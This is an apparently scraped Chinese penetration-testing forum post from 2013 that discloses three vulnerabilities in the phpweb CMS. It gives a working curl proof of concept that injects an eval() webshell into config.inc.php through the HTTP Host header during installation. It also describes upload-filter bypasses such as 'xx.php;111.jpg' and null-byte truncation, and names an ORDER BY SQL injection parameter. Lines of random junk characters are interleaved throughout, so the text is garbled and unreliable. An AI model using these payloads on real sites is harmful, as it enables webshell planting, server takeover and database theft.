中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
+ A6 K# D* d! u6 w4 }2 S- G
* f/ U! Q1 B6 M0 }- l% c* g
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
! R* d7 E' i3 \9 [8 }
- y0 u2 D+ k. V( I
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
% u5 S; D/ z* c" Z( p, P& n: Z
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
% `5 O1 d9 {2 j/ B2 E
: m" l% M5 j$ x; W9 N, s: e+ O
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
% E Y4 ~5 p6 e. G" i1 U. D' _! z
9 {3 {( C1 M U
分析:
# G% S/ m: T1 w3 O; G$ [
$ H! M7 S( \- ^: s& a
( Z, t" x0 J; G
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
. \! S& U1 V3 B& Y4 v( T. @
" ?, w/ Q5 v/ ]' R
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 z4 d" H) n" o |+ z- i8 m+ Z
$filestr=str_replace(" ","",$filestr);
. _& I: h4 |$ o' X& K7 J6 e7 H
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 t' p9 z& ?2 l3 L
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
4 r0 H0 w4 s- I8 S
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
1 h/ M- e3 ^" [' E+ h
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ y0 J. S9 {! p; S- S
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
6 }- o3 v3 z8 X, j$ n4 G- C! I
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
e/ u3 C0 ^) J. W
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
" e+ \; F7 j* A- o
9 Q: j7 Y6 k( T# r
fwrite(fopen($ConFile,"w"),$filestr,30000);
8 C5 y! B, a* ^; i: k& C
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
6 c: }. \5 Z6 H+ f, w
' h" K4 B2 h* J# y4 E& O& V
poc:
! M+ D o% Z+ @" c% T; x
4 b% t: D* M$ m3 p. N% p
?
% V/ ^2 Z1 i$ K2 Y" r: N
1
- B, j. N5 ~+ ~( o% I
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
) c) @' K- O- p! l' e6 \
shell地址: /config.inc.php
B6 o. u' o2 r/ F. M4 e, E; ^
跟之前的 phpcms一样 需要远程数据库
9 |4 n7 @! ^7 Y1 Y1 F& a+ O+ k
6 k# Q& p! A9 w! F; M) L, L
——————————————————–
! m9 B a4 }/ x9 b9 Y( q# E( P
上传漏洞(需要进后台):
( D( ~/ a0 ]7 O6 O- v6 `0 g: p% R
漏洞文件: /kedit/upload_cgi/upload.php
; Z# I1 z0 k2 c* K: t
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
- K, w" O. A3 r7 f
; C @6 V$ z7 v. s3 f2 \
8 ]5 G: l/ c, B ?, q& n
<?php
4 h" B9 V" i$ {9 W
define("ROOTPATH", "../../");
$ r0 v5 M M) x9 K8 b5 G5 a
include(ROOTPATH."includes/admin.inc.php");
: p0 v2 @" T6 F8 A, e8 U* i
NeedAuth(0);
: i: @$ e. d0 d) q$ E# I6 Y
: q8 ], q8 x: z% K, [+ ^# b
$dt=date("Ymd",time());
' ]- S1 ]" r8 |/ \
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
2 u( }$ \# l- E8 `
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
) n9 D$ _2 O3 Z6 E
}
# \! O! b" h1 _( ^. |7 Q6 ^* A
' y4 _1 P8 V$ \7 O. B8 W
//文件保存目录路径
# k; N5 e9 c4 M, [/ c
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% W R0 ~& z9 T" L3 Z
echo $save_path;
/ {* L$ z. Z% |
//文件保存目录URL
& C- }* f4 E* X. k
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
3 v! x5 k3 Q# u) m4 T( V3 v. z
" r5 I. a; B" B, Y D/ K
//定义允许上传的文件扩展名
' m$ x, u0 U% n; [
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
7 D' }# X" s: W8 m- w
( D) b! X# a: I. ^ W, T0 V
//最大文件大小
- u6 A5 V; K/ q% p' N5 j, D+ A- A* H
$max_size = 1000000;
( N' I6 f: o$ C5 i
2 e% ~$ P2 p, y4 i6 n
//更改目录权限
# R- Z' J5 G7 b0 g2 ?+ z9 }! b
@mkdir($save_path, 0777);
) E% T9 I; ~5 N2 [0 L# B( A+ f+ C
, A; c7 T' q1 f4 h6 u) x
//文件的全部路径
0 ] n2 @! R! n- W+ z( A* m2 x
$file_path = $save_path.$_POST['fileName']; //保存文件名
+ Y1 w* N- W, Z# l* F
8 v% P5 @7 b2 o+ w& c8 \
//文件URL
6 C& y) x7 A ^5 Q3 T: ?
$file_url = $save_url.$_POST['fileName'];
/ x. c6 Z- |* R
//有上传文件时
! L; F' C9 l$ |# Q, e2 x
if (empty($_FILES) === false) {
' z$ E4 f7 W; H) W
5 K$ H( _# s( j7 p6 @* ?9 c
//原文件名
4 g/ b9 A( |- ^, Y. L, T+ R
$file_name = $_FILES['fileData']['name'];
9 _# c) q' Z5 d5 T
//服务器上临时文件名
% R4 F+ Q2 y/ O/ z/ F+ L4 N
$tmp_name = $_FILES['fileData']['tmp_name'];
/ ^3 o' b. _3 v
//文件大小
5 ]; K6 L+ E4 N, ?- F
$file_size = $_FILES['fileData']['size'];
% ~' Y# ~3 p4 F) _$ k% z$ V5 j
//检查目录
4 d5 c/ _, F% \6 g! `& M
if (@is_dir($save_path) === false) {
+ s8 p7 n5 B4 }; d" w6 [9 v
alert("上传目录不存在。");
* O( ~0 v% x N+ d3 ?! _( B! ^1 W
}
* n1 r: r) X* {! c5 O$ M
//检查目录写权限
9 K, q- h; E" ~; d
if (@is_writable($save_path) === false) {
" A7 V( v% {( V) b8 i
alert("上传目录没有写权限。");
/ {0 d \8 q9 C; P
}
& v2 z" T, \) L
//检查是否已上传
6 R! s& b& `7 O# i- a: D, a
if (@is_uploaded_file($tmp_name) === false) {
|7 j, T: k3 U; H) k
alert("临时文件可能不是上传文件。");
. q3 {5 R, T1 b
}
( F3 J: z# E8 Y8 Z8 z
//检查文件大小
1 }8 l# W7 Q. P9 g6 y9 R- r
if ($file_size > $max_size) {
# S! j- g5 C/ d% T; `0 z
alert("上传文件大小超过限制。");
' E2 M. @0 F/ W3 g6 [7 d
}
' S0 e _' j/ T3 a' B
//获得文件扩展名
: }. x6 ]% j8 I; g
$temp_arr = explode(".", $_POST['fileName']);
0 d/ \: {( s' [" H2 M7 f' E
$file_ext = array_pop($temp_arr);
( L/ A) H) y0 w# d8 T4 N( s
$file_ext = trim($file_ext);
, m1 ?( V% F; `, Y$ m' v# F# ^
$file_ext = strtolower($file_ext);
. t) [" n: E: C4 Y, F
7 P" j1 J0 m: s9 |# h7 B" L
//检查扩展名
) X; ]% N3 M) Q3 H
if (in_array($file_ext, $ext_arr) === false) {
8 F: V9 H. ^% {3 S2 B
alert("上传文件扩展名是不允许的扩展名。");
# E& N, y; ?' {( |
}
. j+ a! h8 N; y( u
4 H5 g/ S& e L1 u7 h
//移动文件
% y- X- W6 M x
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
+ @5 O- O( |& L: W% n
if (move_uploaded_file($tmp_name, $file_path) === false) {
3 @4 b( T* v9 u" j+ [3 F
alert("上传文件失败。");
6 @! r4 A; g; _( U8 B
}
6 h, K/ j) H; b7 q' x
# V0 u4 ~9 @: S
@chmod($file_path,0666);
1 k" z; @8 ]; r
4 q; x6 b" q6 v+ [" S
?>
0 T: A1 A( y: ]3 v
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
. t8 T3 T m* M5 Z9 E
! Z/ F8 a2 `: H# Y. e
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
1 {: `" I' |( V y
% w; O; m& j/ G: s2 P
——————————————————
l/ T5 S4 t3 c# r1 f' b; }
注入漏洞:
m) O) u/ J0 y) E7 ~9 z$ w
漏洞文件:search/module/search.php
+ E. D# `+ B3 G" F, Y6 w
/search/index.php?key=1&myord=1 [sqlinjection]
" s% @% }& @, n/ G r
" E9 m$ T( E4 j7 s* A" ~6 o
4 n2 C8 [# [) r: G0 |
<?php
" ~, @$ } s% P2 N- l
// ... 省略 n 行...
, Q# u: j0 X q* E% }2 C; c. y
//第18行:
+ g6 N) R- Y" \$ }" R
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
5 u" S# r1 d' E# n7 `# f6 V
$page=htmlspecialchars($_GET["page"]);
# [+ G6 ^$ r- ?
$myord=htmlspecialchars($_GET["myord"]);
' e2 a0 n. W5 @& k/ S
1 e {! W4 x* \! P/ N3 l
// ... 省略 n 行...
' K( g3 B% D) @0 T/ ^, C0 O
$key,$myord 两个参数带入查询
, X! w6 J# T6 x% k; U5 U
//第47行 $key:
8 a5 L' I, m2 k
7 b5 ~; S- K- e! H9 ^2 o
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
, O5 {; _- w V6 D' l, B2 h) b$ R
/ n3 u( y d1 W6 Q4 ~: z. C
//第197行 $myord
* P3 o" c8 N5 H; @+ ]8 \/ p
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
7 B8 F; A; D7 }1 \$ m, ?5 m0 F2 {
0 U: C+ B1 e0 m: c
?>
8 Y1 F3 X3 `2 [8 v
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2